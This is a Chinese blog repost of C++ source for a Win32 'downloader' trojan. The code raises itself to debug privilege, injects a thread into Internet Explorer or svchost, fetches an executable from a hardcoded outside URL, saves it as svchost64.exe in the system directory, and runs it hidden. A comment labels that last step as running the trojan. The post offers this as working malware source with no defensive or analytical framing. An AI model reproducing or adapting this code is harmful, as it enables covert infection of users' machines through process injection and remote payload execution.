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C++ Win32 下载者源码  

2012-01-13 15:58:07|  分类: C/C++ |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
转自VC驿站http://www.cctry.com/thread-26-1-3.html
1. #include "stdafx.h" 
2. #include "stdio.h" 
3. #include "string.h" 
4. #include <windows.h> 
5. #include <wininet.h> 
6. #include "tlhelp32.h" 
7. #pragma comment(lib,"wininet.lib") 

8. 
9. /***********************************************/ 
10. typedef HINSTANCE (__stdcall *fun_ShellExecute)(HWND hWnd, //定义 ShellExecute 
11. LPCTSTR lpOperation, 
12. LPCTSTR lpFile, 
13. LPCTSTR lpParameters, 
14. LPCTSTR lpDiretory, 
15. INT nShowCmd); 
16. 
17. typedef int (__stdcall *fun_MessageBox)(HWND hWnd, LPCTSTR lpszText, //定义MessageBoxA原型 
18. LPCTSTR lpszCaption, UINT nType); 
19. 
20. // define functions in kernel32.dll 
21. typedef HANDLE (__stdcall *fun_CreateFile)( LPCTSTR, DWORD, DWORD, //定义CreateFileA 
22. LPSECURITY_ATTRIBUTES, 
23. DWORD, DWORD, HANDLE ); 
24. typedef BOOL (__stdcall *fun_WriteFile)( HANDLE, LPCVOID, DWORD, //定义WriteFile 
25. LPDWORD, LPOVERLAPPED ); 
26. typedef BOOL (__stdcall *fun_CloseHandle)( HANDLE hObject ); //定义CloseHandle 
27. typedef HMODULE (__stdcall *fun_GetModuleHandle)(LPCTSTR); //定义GetModuleHandle 
28. typedef FARPROC (__stdcall *fun_GetProcAddress)(HMODULE, LPCTSTR); //定义GetProcAddress 
29. typedef HINSTANCE (__stdcall *fun_LoadLibrary)(LPCTSTR); //定义LoadLibraryA 
30. 
31. // define functions in wininet.dll 
32. typedef HINTERNET (__stdcall *fun_InternetOpen)(IN LPCTSTR lpszAgent, //定义InternetOpen 
33. IN DWORD dwAccessType, 
34. IN LPCTSTR lpszProxyByName, 
35. IN LPCTSTR lpszProxyByPass, 
36. IN DWORD dwFlags); 
37. typedef HINTERNET (__stdcall *fun_InternetOpenUrl)(IN HINTERNET hInternet,//定义InternetOpenUrl 
38. IN LPCTSTR lpszUrl, 
39. IN LPCTSTR lpszHeaders OPTIONAL, 
40. IN DWORD dwHeadersLength, 
41. IN DWORD dwFlags, 
42. IN DWORD dwContext); 
43. typedef HINTERNET (__stdcall *fun_InternetReadFile)(IN HINTERNET hFile, //定义InternetReadFile 
44. IN LPVOID lpBuffer, 
45. IN DWORD dwNumberOfBytesToRead, 
46. OUT LPDWORD lpdwNumberOfBytesRead); 
47. typedef HINTERNET (__stdcall *fun_InternetCloseHandle)(IN HINTERNET hInternet); //定义InternetCloseHandle 
48. 
49. 
50. typedef struct tag_Inject // define a structure to copy to distance process 
51. { 
52. fun_GetModuleHandle GetModuleHandle; 
53. fun_GetProcAddress GetProcAddress; 
54. fun_LoadLibrary LoadLibrary; 
55. char szKernel[32]; 
56. char szUser[32]; 
57. char szNet[32]; 
58. char szShell[32]; 
59. char szMessageBox[32]; 
60. char szInternetOpen[32]; 
61. char szInternetOpenUrl[MAX_PATH]; 
62. char szInternetReadFile[128]; 
63. char szInternetCloseHandle[32]; 
64. char szCreateFile[32]; 
65. char szWriteFile[32]; 
66. char szCloseHandle[32]; 
67. char szShellExecute[32]; 
68. char szHeader[16]; 
69. char szInterFlag[32]; 
70. char szOpenFlag[10]; 
71. char szUrlAddr[MAX_PATH]; 
72. char szUrlAddr1[MAX_PATH]; 
73. char szFilePath[MAX_PATH]; 
74. char szFilePath1[MAX_PATH]; 
75. }Inject; 
76. 
77. /***************************************/ 
78. 
79. /************************************************/ 
80. static BOOL ThreadProc(Inject* Inject_info) 
81. { 
82. HMODULE hKernel32, hUser32, hWininet, hShell32; //模块句柄 
83. 
84. fun_InternetOpen j_InternetOpen; //定义函数指针 
85. fun_InternetOpenUrl j_InternetOpenUrl; 
86. fun_InternetReadFile j_InternetReadFile; 
87. fun_InternetCloseHandle j_InternetCloseHandle; 
88. fun_CreateFile j_CreateFile; 
89. fun_WriteFile j_WriteFile; 
90. fun_CloseHandle j_CloseHandle; 
91. fun_MessageBox j_MessageBox; 
92. fun_ShellExecute j_ShellExecute; 
93. 
94. hKernel32 = Inject_info->GetModuleHandle(Inject_info->szKernel); //隐式加载DLL 
95. if (NULL == hKernel32) //加载失败 
96. { 
97. hKernel32 = Inject_info->LoadLibrary(Inject_info->szKernel); //显示加载 
98. if (NULL == hKernel32) //显示加载失败 
99. { 
100. return FALSE; 
101. } 
102. } 
103. 
104. hUser32 = Inject_info->GetModuleHandle(Inject_info->szUser); 
105. if (NULL == hUser32) 
106. { 
107. hUser32 = Inject_info->LoadLibrary(Inject_info->szUser); 
108. if (NULL == hUser32) 
109. { 
110. return FALSE; 
111. } 
112. } 
113. 
114. hWininet = Inject_info->GetModuleHandle(Inject_info->szNet); 
115. if (NULL == hWininet) 
116. { 
117. hWininet = Inject_info->LoadLibrary(Inject_info->szNet); 
118. if (NULL == hWininet) 
119. { 
120. return FALSE; 
121. } 
122. } 
123. 
124. hShell32 = Inject_info->GetModuleHandle(Inject_info->szShell); 
125. if (NULL == hShell32) 
126. { 
127. hShell32 = Inject_info->LoadLibrary(Inject_info->szShell); 
128. if (NULL == hShell32) 
129. { 
130. return FALSE; 
131. } 
132. } 
133. 
134. j_InternetOpen = (fun_InternetOpen)Inject_info->GetProcAddress(hWininet, //绑定 InternetOpen 
135. Inject_info->szInternetOpen); 
136. j_InternetOpenUrl = (fun_InternetOpenUrl)Inject_info->GetProcAddress(hWininet, //绑定 InternetOpenUrl 
137. Inject_info->szInternetOpenUrl); 
138. j_InternetReadFile = (fun_InternetReadFile)Inject_info->GetProcAddress(hWininet, //绑定 InternetReadFile 
139. Inject_info->szInternetReadFile); 
140. j_InternetCloseHandle = (fun_InternetCloseHandle)Inject_info->GetProcAddress(hWininet, //绑定 InternetCloseHandle 
141. Inject_info->szInternetCloseHandle); 
142. 
143. j_CreateFile = (fun_CreateFile)Inject_info->GetProcAddress(hKernel32, //绑定 CreateFile 
144. Inject_info->szCreateFile); 
145. j_WriteFile = (fun_WriteFile)Inject_info->GetProcAddress(hKernel32, //绑定 WriteFile 
146. Inject_info->szWriteFile); 
147. j_CloseHandle = (fun_CloseHandle)Inject_info->GetProcAddress(hKernel32, //绑定 CloseHandle 
148. Inject_info->szCloseHandle); 
149. j_MessageBox = (fun_MessageBox)Inject_info->GetProcAddress(hUser32, //绑定 MessageBox 
150. Inject_info->szMessageBox); 
151. j_ShellExecute = (fun_ShellExecute)Inject_info->GetProcAddress(hShell32, //绑定 ShellExecute 
152. Inject_info->szShellExecute); 
153. HINTERNET hNet, hFile; //定义网络句柄和文件句柄 
154. 
155. hNet = j_InternetOpen(Inject_info->szInterFlag, INTERNET_OPEN_TYPE_PRECONFIG, 
156. NULL, NULL, 0); //打开网络并返回网络句柄 
157. if (NULL == hNet) //打开网络出错 
158. { 
159. return FALSE; 
160. } 
161. 
162. hFile = j_InternetOpenUrl(hNet, Inject_info->szUrlAddr, Inject_info->szHeader, 
163. strlen(Inject_info->szHeader), 
164. INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_RELOAD, 0); //打开指定的URL并返回请求的URL的资源句柄 
165. if (NULL == hFile) //打开网络地址出错 
166. { 
167. return FALSE; 
168. } 
169. 
170. char buff[1024]; //数据传输缓存 
171. DWORD dwRead, //字节数 
172. dwWritten = NULL; //实际写入的字节数 
173. 
174. HANDLE hCreateFile = j_CreateFile(Inject_info->szFilePath, GENERIC_READ|GENERIC_WRITE, //始终创建文件 
175. 0, NULL, CREATE_ALWAYS, 0 ,NULL); 
176. if (NULL == hCreateFile) //创建文件出错! 
177. { 
178. return FALSE; 
179. } 
180. while(j_InternetReadFile(hFile, buff, 1023, &dwRead)) 
181. { 
182. if (0 == dwRead) //如果传输出错,退出 
183. break; 
184. j_WriteFile(hCreateFile, buff, dwRead, &dwWritten, NULL); //将读取到的数据写入本地文件 
185. 
186. } 
187. j_InternetCloseHandle(hNet); //关闭网络句柄 
188. j_InternetCloseHandle(hFile); //关闭网络文件句柄 
189. j_CloseHandle(hCreateFile); //关闭本地文件句柄 
190. 
191. j_ShellExecute(NULL, NULL, Inject_info->szFilePath, NULL, NULL, SW_HIDE); //运行木马 
192. 
193. 
194. return TRUE; 
195. } 
196. 
197. static void AddressFlag(void) 
198. { 
199. } 
200. /****************************************************************************************************************/ 
201. 
202. 
203. /***************************************************************************************/ 
204. /* 提升当前进程的权限到 DEBUG */ 
205. /***************************************************************************************/ 
206. 
207. /****************************************************************************************************************/ 
208. BOOL ImprovePrivilege() //将进程提权 
209. { 
210. HANDLE hToken = NULL ; //令牌句柄 
211. BOOL bRet = FALSE; //返回执行结果 
212. TOKEN_PRIVILEGES tp = {1, {0, 0, SE_PRIVILEGE_ENABLED}}; //填充权限令牌结构 
213. 
214. LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); //查询是否具有调试权限 
215. OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); //打开进程权限令牌 
216. AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof tp, 0, 0); //为进程申请 DEBUG 权限 
217. bRet = (GetLastError() == ERROR_SUCCESS); //检测是否执行成功 
218. return bRet; 
219. } 
220. /****************************************************************************************************************/ 
221. 
222. /***************************************************************************************/ 
223. /* 得到IExplore.exe的进程ID */ 
224. /***************************************************************************************/ 
225. 
226. /****************************************************************************************************************/ 
227. DWORD Get_ProcID() 
228. { 
229. char* strProc = new char[256]; 
230. HANDLE hSnap; //快照句柄 
231. PROCESSENTRY32 ppe; //进程结构信息 
232. 
233. hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //创建系统进程快照 
234. 
235. if (!ImprovePrivilege()) //提升本进程权限 
236. { 
237. return FALSE; 
238. } 
239. ppe.dwSize = sizeof( PROCESSENTRY32 ); //计算结构大小 
240. Process32First( hSnap, &ppe ); //找到第一个进程 
241. while ( 1 ) //判断系统中的进程是否有IE的进程 
242. { 
243. strcpy(strProc, ppe.szExeFile); //转存 
244. strProc = strlwr(strProc); //转换为小写 
245. if (0 == strcmp(strProc, "iexplore.exe"))//判断是否是 IE 
246. { 
247. return ppe.th32ProcessID; 
248. } 
249. else if (0 == strcmp(strProc, "svchost.exe"))//判断是否是 svchost 
250. { 
251. return ppe.th32ProcessID; 
252. } 
253. if ( !Process32Next( hSnap, &ppe )) 
254. { 
255. break; 
256. } 
257. } 
258. CloseHandle( hSnap ); 
259. return 0; 
260. } 
261. /*************************************/ 
262. 
263. /*************************************************************************************/ 
264. /* 将 ThreadProc 函数以插入线程的形式在浏览器进程中运行 */ 
265. /*************************************/ 
266. 
267. /*************************************/ 
268. BOOL InsertThread() 
269. { 
270. char szSystemRoot[MAX_PATH]; 
271. PDWORD pdwRemote = NULL; //申请远程空间地址 
272. const int iCodeSize = ((LPBYTE)AddressFlag - (LPBYTE)ThreadProc);//计算代码长度 
273. 
274. Inject *InjectRemote = NULL; //将Inject复制到远程进程空间中去 
275. DWORD dwThread = NULL, 
276. dwOut = NULL, 
277. dwProc = Get_ProcID(); 
278. HANDLE hProc = NULL; 
279. const DWORD cbMemSize = iCodeSize + sizeof(Inject) + 3; //需要的内存块大小 
280. 
281. 
282. Inject Inject_stru = {NULL, NULL, NULL, 
283. "kernel32.dll", 
284. "user32.dll", 
285. "wininet.dll", 
286. "shell32.dll", 
287. "MessageBoxA", 
288. "InternetOpenA", 
289. "InternetOpenUrlA", 
290. "InternetReadFile", 
291. "InternetCloseHandle", 
292. "CreateFileA", 
293. "WriteFile", 
294. "CloseHandle", 
295. "ShellExecuteA", 
296. "Accept: */*\r\n\r\n", 
297. "RookIE/1.0", 
298. "wba", 
299. "http://www.hf-hx.com/music/x.exe", 
300. ""}; //初始化结构 
301. 
302. GetSystemDirectory(szSystemRoot, sizeof(szSystemRoot)); //得到系统目录 
303. strcat(szSystemRoot, "\\svchost64.exe"); //构造文件名(含路径) 
304. strcpy(Inject_stru.szFilePath, szSystemRoot); //传递给Inject 结构中的szFilePaht 
305. 
306. HMODULE hKernel32 = GetModuleHandle("kernel32.dll"); 
307. Inject_stru.GetModuleHandle = (fun_GetModuleHandle)GetProcAddress(hKernel32, "GetModuleHandleA");//绑定GetModuleHandle 
308. Inject_stru.GetProcAddress = (fun_GetProcAddress)GetProcAddress(hKernel32, "GetProcAddress"); //绑定GetProcAddress 
309. Inject_stru.LoadLibrary = (fun_LoadLibrary)GetProcAddress(hKernel32, "LoadLibraryA");//绑定LoadLibrary 
310. 
311. hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProc); //以最高权限打开浏览器进程 
312. if (NULL == hProc) 
313. { 
314. return FALSE; 
315. } 
316. 
317. pdwRemote = (PDWORD)VirtualAllocEx(hProc, NULL, cbMemSize, MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); //在远程空间中申请内存块 
318. if (NULL == pdwRemote) 
319. { 
320. return FALSE; 
321. } 
322. 
323. if (!WriteProcessMemory(hProc, pdwRemote, (LPVOID)ThreadProc, cbMemSize, &dwOut)) //向远程进程写入功能代码 
324. { 
325. return FALSE; 
326. } 
327. 
328. InjectRemote = (Inject*)(((LPBYTE)pdwRemote) + ((iCodeSize + 4) & ~3)); 
329. if (!WriteProcessMemory(hProc, InjectRemote, &Inject_stru, sizeof(Inject_stru), &dwOut)) //向远程线程写入结构数据 
330. { 
331. return FALSE; 
332. } 
333. 
334. if (NULL == CreateRemoteThread(hProc, NULL, 65535, (LPTHREAD_START_ROUTINE)pdwRemote, InjectRemote, 0, NULL)) //创建进程线程 
335. { 
336. return FALSE; 
337. } 
338. 
339. return TRUE; 
340. } 
341. /******************************************/ 
342. 
343. int APIENTRY WinMain(HINSTANCE hInstance, 
344. HINSTANCE hPrevInstance, 
345. LPSTR lpCmdLine, 
346. int nCmdShow) 
347. { 
348. InsertThread(); 
349. return 0; 
350. }
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